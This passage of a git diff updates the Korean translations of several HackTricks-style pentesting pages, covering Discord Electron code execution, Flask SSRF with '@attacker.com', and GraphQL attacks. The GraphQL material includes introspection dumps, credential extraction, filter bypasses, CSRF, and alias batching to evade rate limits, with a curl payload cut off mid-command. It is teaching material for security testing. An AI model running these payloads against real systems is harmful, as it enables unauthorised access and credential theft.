.requireModule("discord_utils") .getGPUDriverVersions() ``` -`getGPUDriverVersions` 함수는 다음과 같이 "_execa_" 라이브러리를 사용하여 프로그램을 실행하려고 시도합니다: +`getGPUDriverVersions` 함수는 "_execa_" 라이브러리를 사용하여 프로그램을 실행하려고 시도합니다. 다음과 같이: ```javascript module.exports.getGPUDriverVersions = async () => { if (process.platform !== "win32") { @@ -71,6 +71,6 @@ result.nvidia = { error: e.toString() } return result } ``` -보통 _execa_는 `nvidiaSmiPath` 변수에 지정된 "_nvidia-smi.exe_"를 실행하려고 하지만, 오버라이드된 `RegExp.prototype.test`와 `Array.prototype.join` 때문에 **인수가 \_execa**\_**의 내부 처리에서 "**_**calc**_**"로 대체됩니다**. +보통 _execa_는 `nvidiaSmiPath` 변수에 지정된 "_nvidia-smi.exe_"를 실행하려고 하지만, 오버라이드된 `RegExp.prototype.test`와 `Array.prototype.join` 때문에 **인자는 \_execa**\_**의 내부 처리에서 "**_**calc**_**"로 대체됩니다**. -구체적으로, 인수는 다음 두 부분을 변경하여 대체됩니다. +구체적으로, 인자는 다음 두 부분을 변경하여 대체됩니다. diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md index b92616799..7719fe793 100644 --- a/src/network-services-pentesting/pentesting-web/flask.md +++ b/src/network-services-pentesting/pentesting-web/flask.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -**아마도 CTF를 진행하고 있다면 Flask 애플리케이션은** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**와 관련이 있을 것입니다.** +**아마도 CTF를 진행 중이라면 Flask 애플리케이션은** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**와 관련이 있을 것입니다.** ## Cookies @@ -54,7 +54,7 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p ``` ### Flask 세션 쿠키에서 SQLi와 SQLmap -[**이 예제**](../../pentesting-web/sql-injection/sqlmap/#eval)는 sqlmap `eval` 옵션을 사용하여 **알려진 비밀을 사용하여 flask에 대한 sqlmap 페이로드를 자동으로 서명하는** 방법을 보여줍니다. +[**이 예제**](../../pentesting-web/sql-injection/sqlmap/#eval)는 sqlmap `eval` 옵션을 사용하여 **알려진 비밀을 사용하여 flask에 대한 sqlmap 페이로드를 자동으로 서명하는 방법**을 보여줍니다. ## SSRF에 대한 Flask 프록시 @@ -79,6 +79,6 @@ return get(f'{SITE_NAME}{path}').content app.run(host='0.0.0.0', port=8080) ``` -"@attacker.com"과 같은 것을 도입할 수 있도록 하여 **SSRF**를 유발할 수 있습니다. +"@attacker.com"과 같은 것을 도입할 수 있어 **SSRF**를 유발할 수 있습니다. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/git.md b/src/network-services-pentesting/pentesting-web/git.md index 9b94af28c..1745aa3c7 100644 --- a/src/network-services-pentesting/pentesting-web/git.md +++ b/src/network-services-pentesting/pentesting-web/git.md @@ -14,7 +14,7 @@ 도구 [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)는 조직 및 직원의 리포지토리에서 민감한 데이터를 검색합니다. -[Repo security scanner](https://github.com/UKHomeOffice/repo-security-scanner)는 명령줄 기반 도구로, 개발자가 민감한 데이터를 푸시하여 우연히 만든 GitHub 비밀을 발견하는 데 도움을 주기 위해 작성되었습니다. 그리고 다른 도구들처럼 비밀번호, 개인 키, 사용자 이름, 토큰 등을 찾는 데 도움을 줄 것입니다. +[Repo security scanner](https://github.com/UKHomeOffice/repo-security-scanner)는 명령줄 기반 도구로, 개발자가 실수로 민감한 데이터를 푸시하여 만든 GitHub 비밀을 발견하는 데 도움을 주기 위해 작성되었습니다. 그리고 다른 도구들처럼 비밀번호, 개인 키, 사용자 이름, 토큰 등을 찾는 데 도움을 줄 것입니다. [TruffleHog](https://github.com/dxa4481/truffleHog)는 GitHub 리포지토리를 검색하고 커밋 기록과 브랜치를 통해 우연히 커밋된 비밀을 찾습니다. diff --git a/src/network-services-pentesting/pentesting-web/golang.md b/src/network-services-pentesting/pentesting-web/golang.md index 787a77a32..034c8cca3 100644 --- a/src/network-services-pentesting/pentesting-web/golang.md +++ b/src/network-services-pentesting/pentesting-web/golang.md @@ -8,7 +8,7 @@ Go 프로그래밍 언어에서 HTTP 요청을 처리할 때, 특히 `net/http` - `/../flag`와 같은 디렉토리 탐색 시퀀스를 포함하는 경로는 단순화되어 `/flag`로 리디렉션됩니다. - `/flag/.`와 같이 후행 마침표가 있는 경로도 깨끗한 경로인 `/flag`로 리디렉션됩니다. -그러나 `CONNECT` 방법을 사용할 때 예외가 관찰됩니다. 다른 HTTP 방법과 달리, `CONNECT`는 경로 정규화 프로세스를 트리거하지 않습니다. 이 동작은 보호된 리소스에 접근할 수 있는 잠재적인 경로를 열어줍니다. `curl`에서 `--path-as-is` 옵션과 함께 `CONNECT` 방법을 사용하면 표준 경로 정규화를 우회하고 제한된 영역에 도달할 수 있습니다. +그러나 `CONNECT` 방법을 사용할 때 예외가 관찰됩니다. 다른 HTTP 방법과 달리 `CONNECT`는 경로 정규화 프로세스를 트리거하지 않습니다. 이 동작은 보호된 리소스에 접근할 수 있는 잠재적인 경로를 열어줍니다. `curl`에서 `--path-as-is` 옵션과 함께 `CONNECT` 방법을 사용하면 표준 경로 정규화를 우회하고 제한된 영역에 도달할 수 있습니다. 다음 명령은 이 동작을 악용하는 방법을 보여줍니다: ```bash diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 7b0e132e5..18f5920f1 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -5,7 +5,7 @@ ## Introduction -GraphQL은 **효율적인 대안**으로 **강조**되며, 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공합니다. REST와 달리, REST는 데이터를 수집하기 위해 다양한 엔드포인트에 여러 요청을 필요로 하는 경우가 많지만, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 간소화는 데이터 가져오기 프로세스의 복잡성을 줄여 **개발자에게 큰 이점**을 제공합니다. +GraphQL은 **효율적인 대안**으로 **REST API**에 강조되며, 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공합니다. REST와 달리, REST는 데이터를 수집하기 위해 다양한 엔드포인트에 여러 요청을 필요로 하는 경우가 많지만, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 간소화는 데이터 가져오기 프로세스의 복잡성을 줄여 **개발자에게 큰 이점**을 제공합니다. ## GraphQL과 보안 @@ -24,7 +24,7 @@ GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취 - `/graphql/api` - `/graphql/graphql` -열려 있는 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근할 수 있는 데이터를 이해하는 데 중요합니다. GraphQL의 introspection 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 내용은 GraphQL 문서의 introspection을 참조하십시오: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) +열린 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근할 수 있는 데이터를 이해하는 데 중요합니다. GraphQL의 introspection 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 내용은 GraphQL 문서의 introspection을 참조하십시오: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) ### 지문 인식 @@ -46,7 +46,7 @@ Graphql은 일반적으로 **GET**, **POST** (x-www-form-urlencoded) 및 **POST* ```bash query={__schema{types{name,fields{name}}}} ``` -이 쿼리를 사용하면 사용 중인 모든 유형의 이름을 찾을 수 있습니다: +이 쿼리를 사용하면 사용 중인 모든 유형의 이름을 찾을 수 있습니다: ![](<../../images/image (1036).png>) ```bash @@ -163,7 +163,7 @@ name ``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` -마지막 코드 줄은 graphql 쿼리로, graphql의 모든 메타 정보를 덤프합니다 (객체 이름, 매개변수, 유형 등...) +마지막 코드 줄은 graphql 쿼리로, graphql의 모든 메타 정보를 덤프합니다 (객체 이름, 매개변수, 유형...) ![](<../../images/image (363).png>) @@ -173,7 +173,7 @@ name 이제 데이터베이스에 어떤 종류의 정보가 저장되어 있는지 알았으니, **값을 추출해 보겠습니다**. -인트로스펙션에서 **직접 쿼리할 수 있는 객체**를 찾을 수 있습니다 (객체가 존재한다고 해서 쿼리할 수 있는 것은 아닙니다). 다음 이미지에서 "_queryType_"이 "_Query_"라고 불리며, "_Query_" 객체의 필드 중 하나가 "_flags_"라는 것을 볼 수 있습니다. 이는 또한 객체 유형입니다. 따라서 플래그 객체를 쿼리할 수 있습니다. +인트로스펙션에서 **직접 쿼리할 수 있는 객체**를 찾을 수 있습니다 (객체가 존재한다고 해서 쿼리할 수 있는 것은 아닙니다). 다음 이미지에서 "_queryType_"이 "_Query_"라고 불리며, "_Query_" 객체의 필드 중 하나가 "_flags_"라는 것을 볼 수 있습니다. 이는 또한 객체의 유형입니다. 따라서 플래그 객체를 쿼리할 수 있습니다. ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>) @@ -185,7 +185,7 @@ name ```javascript query={flags{name, value}} ``` -다음 예제와 같이 **query**할 **object**가 **string**과 같은 **primitive** **type**인 경우 +다음 예제와 같이 **query할 객체**가 **string**과 같은 **원시** **타입**인 경우 ![](<../../images/image (958).png>) @@ -194,7 +194,7 @@ query={flags{name, value}} query = { hiddenFlags } ``` 다른 예에서 "_Query_" 타입 객체 안에 두 개의 객체가 있었습니다: "_user_"와 "_users_".\ -이 객체들이 검색을 위해 어떤 인수도 필요하지 않다면, 원하는 데이터를 요청하기만 하면 **모든 정보를 가져올 수 있습니다**. 이 인터넷 예제에서는 저장된 사용자 이름과 비밀번호를 추출할 수 있습니다: +이 객체들이 검색을 위해 어떤 인수도 필요하지 않다면, 원하는 데이터를 **요청**하기만 하면 **모든 정보를 가져올 수 있습니다**. 이 인터넷 예제에서는 저장된 사용자 이름과 비밀번호를 추출할 수 있습니다: ![](<../../images/image (880).png>) @@ -205,9 +205,9 @@ query = { hiddenFlags } 어떤 식으로든 "_**uid**_" 타입 _**Int**_의 인수를 사용하여 검색하는 것 같습니다.\ 어쨌든, 우리는 이미 [Basic Enumeration](graphql.md#basic-enumeration) 섹션에서 필요한 모든 정보를 보여주는 쿼리가 제안되었다는 것을 알고 있었습니다: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` -제가 제공한 이미지를 읽어보면, 그 쿼리를 실행했을 때 "_**user**_"가 타입 _Int_의 **arg** "_**uid**_"를 가지고 있음을 알 수 있습니다. +제가 그 쿼리를 실행했을 때 제공된 이미지를 읽어보면 "_**user**_"가 타입 _Int_의 **arg** "_**uid**_"를 가지고 있음을 알 수 있습니다. -그래서 가벼운 _**uid**_ 브루트포스를 수행한 결과, _**uid**=**1**_에서 사용자 이름과 비밀번호를 검색할 수 있었습니다:\ +그래서 가벼운 _**uid**_ 브루트포스를 수행한 결과, _**uid**=**1**_에서 사용자 이름과 비밀번호가 검색되었습니다:\ `query={user(uid:1){user,password}}` ![](<../../images/image (90).png>) @@ -216,11 +216,11 @@ query = { hiddenFlags } ![](<../../images/image (707).png>) -그리고 **열거 단계**에서 "_**dbuser**_" 객체가 "_**user**_"와 "_**password**_" 필드를 가지고 있다는 것을 발견했습니다. +그리고 **열거 단계**에서 "_**dbuser**_" 객체가 "_**user**_"와 "_**password**_" 필드를 가지고 있음을 발견했습니다. **쿼리 문자열 덤프 트릭 (thanks to @BinaryShadow\_)** -문자열 타입으로 검색할 수 있다면, 예를 들어: `query={theusers(description: ""){username,password}}`와 같이 **빈 문자열**을 검색하면 **모든 데이터를 덤프**합니다. (_이 예제는 튜토리얼의 예제와 관련이 없으므로, 이 예제에서는 "**description**"이라는 문자열 필드를 사용하여 "**theusers**"를 검색할 수 있다고 가정하십시오_). +문자열 타입으로 검색할 수 있다면, 예를 들어: `query={theusers(description: ""){username,password}}`와 같이 **빈 문자열**을 **검색**하면 **모든 데이터가 덤프됩니다**. (_이 예제는 튜토리얼의 예제와 관련이 없으므로, 이 예제에서는 "**theusers**"를 "**description**"이라는 문자열 필드로 검색할 수 있다고 가정하십시오_). ### 검색 @@ -251,7 +251,7 @@ name ``` `subscribedMovies`의 `name`을 가져오는 방법에 유의하세요. -여러 개의 객체를 **동시에 검색할 수 있습니다**. 이 경우, 2개의 영화를 검색합니다: +여러 개의 객체를 동시에 **검색할 수 있습니다**. 이 경우, 2개의 영화를 검색합니다: ```javascript { searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { @@ -282,17 +282,17 @@ name } } ``` -### 변형 +### Mutations -**변형은 서버 측에서 변경을 수행하는 데 사용됩니다.** +**Mutations는 서버 측에서 변경을 수행하는 데 사용됩니다.** -**인트로스펙션**에서 **선언된** **변형**을 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"이라고 하며, "_Mutation_" 객체는 변형의 이름(이 경우 "_addPerson_"과 같은)을 포함합니다: +**introspection**에서 **선언된** **mutations**를 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"이라고 하며, "_Mutation_" 객체는 mutations의 이름(이 경우 "_addPerson_")을 포함합니다: ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>) -이 설정에서 **데이터베이스**는 **사람**과 **영화**를 포함합니다. **사람**은 **이메일**과 **이름**으로 식별되며, **영화**는 **이름**과 **평점**으로 식별됩니다. **사람**은 서로 친구가 될 수 있으며, 데이터베이스 내의 관계를 나타내는 영화를 가질 수도 있습니다. +이 설정에서 **database**는 **persons**와 **movies**를 포함합니다. **Persons**는 **email**과 **name**으로 식별되며, **movies**는 **name**과 **rating**으로 식별됩니다. **Persons**는 서로 친구가 될 수 있으며, 또한 데이터베이스 내의 관계를 나타내는 영화를 가질 수 있습니다. -데이터베이스 내에서 **새로운** 영화를 **생성하는** 변형은 다음과 같을 수 있습니다(이 예에서 변형은 `addMovie`라고 합니다): +**database** 내에서 **새로운** 영화를 **생성하는** mutation은 다음과 같을 수 있습니다(이 예에서 mutation은 `addMovie`라고 합니다): ```javascript mutation { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { @@ -303,9 +303,9 @@ rating } } ``` -**쿼리에서 데이터의 값과 유형이 어떻게 표시되는지 주목하십시오.** +**쿼리에서 데이터의 값과 유형이 어떻게 표시되는지 주목하세요.** -또한 데이터베이스는 `addPerson`이라는 **변경** 작업을 지원하며, 이를 통해 **사람**을 생성하고 기존 **친구** 및 **영화**와의 연관성을 설정할 수 있습니다. 친구와 영화는 새로 생성된 사람과 연결하기 전에 데이터베이스에 미리 존재해야 한다는 점이 중요합니다. +또한, 데이터베이스는 `addPerson`이라는 **변경** 작업을 지원하며, 이를 통해 기존 **친구** 및 **영화**와의 연관성을 가진 **사람**을 생성할 수 있습니다. 친구와 영화는 새로 생성된 사람과 연결하기 전에 데이터베이스에 미리 존재해야 한다는 점이 중요합니다. ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { @@ -340,7 +340,7 @@ releaseYear ### Batching brute-force in 1 API request 이 정보는 [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)에서 가져왔습니다.\ -GraphQL API를 통해 **다양한 자격 증명을 가진 많은 쿼리를 동시에 전송하여 인증**을 확인합니다. 이는 고전적인 brute force 공격이지만, 이제 GraphQL batching 기능 덕분에 HTTP 요청당 하나 이상의 로그인/비밀번호 쌍을 보낼 수 있습니다. 이 접근 방식은 외부 속도 모니터링 애플리케이션을 속여 모든 것이 잘 되고 있으며 비밀번호를 추측하려는 brute-forcing 봇이 없다고 생각하게 만듭니다. +GraphQL API를 통한 인증은 **다양한 자격 증명을 가진 많은 쿼리를 동시에 전송**하여 확인합니다. 이는 고전적인 brute force 공격이지만, 이제 GraphQL batching 기능 덕분에 HTTP 요청당 하나 이상의 로그인/비밀번호 쌍을 보낼 수 있습니다. 이 접근 방식은 외부 속도 모니터링 애플리케이션을 속여 모든 것이 잘되고 있으며 비밀번호를 추측하려는 brute-forcing 봇이 없다고 생각하게 만듭니다. 아래는 **한 번에 3개의 서로 다른 이메일/비밀번호 쌍**을 가진 애플리케이션 인증 요청의 가장 간단한 시연입니다. 분명히 같은 방식으로 단일 요청에서 수천 개를 보낼 수 있습니다: @@ -354,13 +354,13 @@ GraphQL API를 통해 **다양한 자격 증명을 가진 많은 쿼리를 동 점점 더 많은 **graphql 엔드포인트가 introspection을 비활성화**하고 있습니다. 그러나 예상치 못한 요청이 수신될 때 graphql이 발생시키는 오류는 [**clairvoyance**](https://github.com/nikitastupin/clairvoyance)와 같은 도구가 스키마의 대부분을 재구성하는 데 충분합니다. -게다가, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 전송되는 GraphQL API 요청을 관찰하고** **각 새로운 쿼리를 통해** 내부 GraphQL **스키마를 구축**합니다. 또한 GraphiQL 및 Voyager를 위한 스키마를 노출할 수 있습니다. 이 확장 프로그램은 introspection 쿼리를 수신할 때 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 더 많은 정보는 [**여기서 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). +게다가, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 전송되는 GraphQL API 요청을 관찰**하고 **각 새로운 쿼리를 통해** 내부 GraphQL **스키마**를 구축합니다. 또한 GraphiQL 및 Voyager를 위한 스키마를 노출할 수 있습니다. 이 확장 프로그램은 introspection 쿼리를 수신할 때 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 더 많은 정보는 [**여기서 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). -멋진 **단어 목록**은 [**GraphQL 엔티티를 발견하는 데 사용할 수 있습니다**](https://github.com/Escape-Technologies/graphql-wordlist?). +멋진 **단어 목록**을 통해 [**GraphQL 엔티티를 발견할 수 있습니다**](https://github.com/Escape-Technologies/graphql-wordlist?). ### Bypassing GraphQL introspection defences -API에서 introspection 쿼리에 대한 제한을 우회하기 위해, `__schema` 키워드 뒤에 **특수 문자를 삽입하는** 것이 효과적입니다. 이 방법은 introspection을 차단하려는 정규 표현식 패턴에서 일반적인 개발자의 실수를 이용합니다. GraphQL이 무시하지만 정규 표현식에서는 고려되지 않을 수 있는 **공백, 줄 바꿈 및 쉼표**와 같은 문자를 추가함으로써 제한을 우회할 수 있습니다. 예를 들어, `__schema` 뒤에 줄 바꿈이 있는 introspection 쿼리는 이러한 방어를 우회할 수 있습니다: +API에서 introspection 쿼리에 대한 제한을 우회하기 위해, `__schema` 키워드 뒤에 **특수 문자를 삽입하는** 것이 효과적입니다. 이 방법은 introspection을 차단하려는 regex 패턴에서 일반적인 개발자의 실수를 이용하여 `__schema` 키워드에 집중합니다. GraphQL이 무시하지만 regex에서는 고려되지 않을 수 있는 **공백, 줄 바꿈 및 쉼표**와 같은 문자를 추가함으로써 제한을 우회할 수 있습니다. 예를 들어, `__schema` 뒤에 줄 바꿈이 있는 introspection 쿼리는 이러한 방어를 우회할 수 있습니다: ```bash # Example with newline to bypass { @@ -398,13 +398,13 @@ ws.send(JSON.stringify(graphqlMsg)) ``` ### **노출된 GraphQL 구조 발견하기** -인트로스펙션이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것이 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다: +introspection이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것은 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다: ```javascript Inspect/Sources/"Search all files" file:* mutation file:* query ``` -## GraphQL의 CSRF +## GraphQL에서의 CSRF CSRF가 무엇인지 모른다면 다음 페이지를 읽어보세요: @@ -412,7 +412,7 @@ CSRF가 무엇인지 모른다면 다음 페이지를 읽어보세요: ../../pentesting-web/csrf-cross-site-request-forgery.md {{#endref}} -여기에는 **CSRF 토큰 없이 구성된** 여러 GraphQL 엔드포인트를 찾을 수 있습니다. +그곳에서는 **CSRF 토큰 없이 구성된** 여러 GraphQL 엔드포인트를 찾을 수 있습니다. GraphQL 요청은 일반적으로 **`application/json`** 콘텐츠 유형을 사용하여 POST 요청을 통해 전송됩니다. ```javascript @@ -426,7 +426,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A 그러나 Chrome의 `samesite` 플래그의 새로운 기본 쿠키 값은 `Lax`라는 점에 유의하십시오. 이는 쿠키가 GET 요청에서만 제3자 웹에서 전송된다는 것을 의미합니다. -**쿼리** **요청**을 **GET** **요청**으로 전송하는 것도 일반적으로 가능하며, GET 요청에서 CSRF 토큰이 검증되지 않을 수 있다는 점에 유의하십시오. +**쿼리** **요청**을 **GET** **요청**으로 전송하는 것도 일반적으로 가능하며, GET 요청에서 CSRF 토큰이 검증되지 않을 수 있습니다. 또한, [**XS-Search**](../../pentesting-web/xs-search/) **공격**을 악용하여 사용자의 자격 증명을 이용해 GraphQL 엔드포인트에서 콘텐츠를 유출할 수 있습니다. @@ -460,17 +460,17 @@ GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은 [쿼리 연결](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)을 통해 약한 인증 시스템을 우회할 수 있습니다. -아래 예제에서 작업은 "forgotPassword"이며, 이는 해당 쿼리만 실행해야 합니다. 그러나 쿼리를 끝에 추가하여 우회할 수 있으며, 이 경우 "register"와 시스템이 새로운 사용자로 등록할 수 있도록 사용자 변수를 추가합니다. +아래 예제에서 작업은 "forgotPassword"이며, 이는 해당 쿼리만 실행해야 합니다. 그러나 쿼리를 끝에 추가하여 우회할 수 있으며, 이 경우 "register"와 시스템이 새 사용자로 등록할 수 있도록 사용자 변수를 추가합니다.
## GraphQL에서 별칭을 사용한 속도 제한 우회 -GraphQL에서 별칭은 API 요청 시 **속성을 명시적으로 이름 지정**할 수 있는 강력한 기능입니다. 이 기능은 단일 요청 내에서 **동일한 유형**의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭을 사용하면 GraphQL 객체가 동일한 이름을 가진 여러 속성을 가질 수 없다는 제한을 극복할 수 있습니다. +GraphQL에서 별칭은 API 요청 시 **속성의 이름을 명시적으로 지정**할 수 있는 강력한 기능입니다. 이 기능은 단일 요청 내에서 **동일한 유형**의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭을 사용하면 GraphQL 객체가 동일한 이름을 가진 여러 속성을 가질 수 없다는 제한을 극복할 수 있습니다. GraphQL 별칭에 대한 자세한 이해를 위해 다음 리소스를 추천합니다: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). -별칭의 주요 목적은 수많은 API 호출의 필요성을 줄이는 것이지만, 별칭을 사용하여 GraphQL 엔드포인트에 대한 무차별 대입 공격을 실행할 수 있는 의도치 않은 사용 사례가 확인되었습니다. 이는 일부 엔드포인트가 **HTTP 요청 수**를 제한하여 무차별 대입 공격을 저지하기 위해 설계된 속도 제한기로 보호되기 때문입니다. 그러나 이러한 속도 제한기는 각 요청 내의 작업 수를 고려하지 않을 수 있습니다. 별칭을 사용하면 단일 HTTP 요청에 여러 쿼리를 포함할 수 있으므로 이러한 속도 제한 조치를 우회할 수 있습니다. +별칭의 주요 목적은 많은 API 호출의 필요성을 줄이는 것이지만, 별칭을 사용하여 GraphQL 엔드포인트에 대한 무차별 대입 공격을 실행할 수 있는 의도치 않은 사용 사례가 확인되었습니다. 이는 일부 엔드포인트가 **HTTP 요청 수**를 제한하여 무차별 대입 공격을 저지하기 위해 설계된 속도 제한기로 보호되기 때문입니다. 그러나 이러한 속도 제한기는 각 요청 내의 작업 수를 고려하지 않을 수 있습니다. 별칭을 사용하면 단일 HTTP 요청에 여러 쿼리를 포함할 수 있으므로 이러한 속도 제한 조치를 우회할 수 있습니다. 아래 제공된 예제를 고려해 보십시오. 이 예제는 별칭 쿼리를 사용하여 상점 할인 코드의 유효성을 확인하는 방법을 보여줍니다. 이 방법은 여러 쿼리를 하나의 HTTP 요청으로 컴파일하므로 속도 제한을 우회할 수 있으며, 동시에 여러 할인 코드를 확인할 수 있습니다. ```bash @@ -498,7 +498,7 @@ curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename 